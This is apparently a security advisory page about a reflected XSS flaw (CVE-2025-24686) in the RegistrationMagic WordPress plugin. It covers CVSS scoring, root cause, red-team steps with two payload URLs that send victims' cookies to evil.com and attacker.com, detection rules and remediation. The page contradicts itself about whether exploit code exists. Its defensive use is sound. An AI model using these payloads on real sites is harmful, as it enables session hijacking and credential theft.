CVE-2025-24686
Executive Summary
CVE-2025-24686 is a reflected Cross-Site Scripting (XSS) vulnerability in the Metagauss RegistrationMagic WordPress plugin (custom-registration-form-builder-with-submission-manager). This flaw allows an unauthenticated attacker to inject arbitrary JavaScript into a web page via a crafted URL, leading to session hijacking, credential theft, or defacement. The vulnerability affects all versions up to and including 6.0.3.3. No official patch has been released, and no public exploit code is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. It does not affect Apache, Nginx, or any other web server software. The attack vector relies on the plugin’s failure to sanitize user-supplied input in a reflected manner, typically through query parameters or form fields.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must click a malicious link
- Scope: Changed (S:C) – injected script can affect other resources
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: High. Although user interaction is required, the low complexity and no privileges make it attractive for phishing campaigns.
Deep Dive & Mechanics
The vulnerability resides in the plugin’s input handling for reflected parameters. When a user visits a crafted URL containing malicious JavaScript in a query parameter (e.g., ?page=registrationmagic_<script>alert(1)</script>), the plugin fails to neutralize the input before rendering it in the HTML response. This allows the attacker’s script to execute in the victim’s browser context.
Root Cause: The plugin uses echo or print statements to output user-supplied data without proper escaping (e.g., esc_html() or esc_attr()). The vulnerable parameter is likely a $_GET or $_POST variable used in admin or frontend pages.
Attack Flow:
- Attacker crafts a malicious URL:
https://victim.com/wp-admin/admin.php?page=rm_form_manage&rm_form_id=<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script> - Victim clicks the link (e.g., via phishing email).
- The plugin renders the page with the injected script.
- The script executes, exfiltrating session cookies or performing actions on behalf of the victim.
Vulnerable vs. Patched Code
Since no patch is available, we can only infer the vulnerable pattern. A typical vulnerable code snippet in WordPress plugins:
// VULNERABLE
echo '<div class="rm-form-id">' . $_GET['rm_form_id'] . '</div>';
A patched version would use WordPress’s escaping functions:
// PATCHED
echo '<div class="rm-form-id">' . esc_html( $_GET['rm_form_id'] ) . '</div>';
The plugin should also validate that rm_form_id is numeric or matches an expected pattern.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site with RegistrationMagic <= 6.0.3.3 installed and activated.
- A victim user with admin or subscriber role.
Exploitation Steps:
- Identify a vulnerable parameter. Common candidates:
rm_form_id,rm_submission_id,page,action. - Craft a payload:
https://victim.com/wp-admin/admin.php?page=rm_form_manage&rm_form_id=<script>new Image().src='https://attacker.com/steal?c='+document.cookie</script> - Send the link to the victim via email or social engineering.
- Monitor your attacker server for incoming requests containing cookies.
Lab Setup:
- Use a local WordPress instance with Docker:
docker run --name wp -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wp -e WORDPRESS_DB_PASSWORD=wp -e WORDPRESS_DB_NAME=wp -p 8080:80 -d wordpress - Install RegistrationMagic plugin version 6.0.3.3 from the WordPress plugin repository (or a local copy).
- Use a tool like Burp Suite or a simple Python HTTP server to capture exfiltrated data.
Blue Team (Defensive)
Detection:
- Monitor web server logs for unusual query parameters containing
<script>,onerror,onload, orjavascript:. - Look for requests to
/wp-admin/admin.phpwith suspiciousrm_form_idvalues. - Use WAF rules to block reflected XSS patterns.
Hunting:
- Search for
rm_form_idin access logs and decode URL-encoded payloads. - Check for outbound connections from the WordPress server to unknown IPs (potential data exfiltration).
Indicators of Compromise (IOCs)
- URL Patterns:
*/wp-admin/admin.php?page=rm_form_manage&rm_form_id=*<script>**/wp-admin/admin.php?page=rm_submission_manage&rm_submission_id=*<script>*
- Network Traffic:
- Outbound HTTP requests to attacker-controlled domains containing cookie data.
- Log Entries:
- Apache/Nginx access logs with
rm_form_idcontaining HTML tags.
- Apache/Nginx access logs with
- File Hashes (if malicious plugin files are uploaded):
- N/A (no known file upload vector).
Detection Engineering
YARA Rule
rule CVE_2025_24686_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against RegistrationMagic plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-24686"
strings:
$param1 = "rm_form_id="
$param2 = "rm_submission_id="
$xss1 = /<script[^>]*>/
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/
$xss3 = /onload\s*=\s*["']?[^"']*["']?/
condition:
any of ($param*) and any of ($xss*)
}
Sigma Rule
title: Reflected XSS Attempt Against RegistrationMagic
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting RegistrationMagic plugin (CVE-2025-24686)
author: Valters IT
logsource:
category: webserver
product: apache
service: accesslog
detection:
selection:
cs-uri-query|contains:
- 'rm_form_id='
- 'rm_submission_id='
cs-uri-query|re:
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of HTML in form IDs (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-24686 Reflected XSS in RegistrationMagic"; flow:to_server,established; content:"rm_form_id="; http_uri; pcre:"/<script[^>]*>/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns in query parameters.
- Educate users not to click suspicious links containing
rm_form_idorrm_submission_id.
Long-Term Fix:
- The vendor must release a patched version that properly escapes all user-supplied input using
esc_html(),esc_attr(), orwp_kses_post(). - Apply input validation (e.g., ensure
rm_form_idis numeric).
Workaround:
- Add the following to
.htaccess(Apache) to block malicious requests:RewriteEngine On RewriteCond %{QUERY_STRING} (rm_form_id|rm_submission_id)=.*<script [NC] RewriteRule .* - [F,L]
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.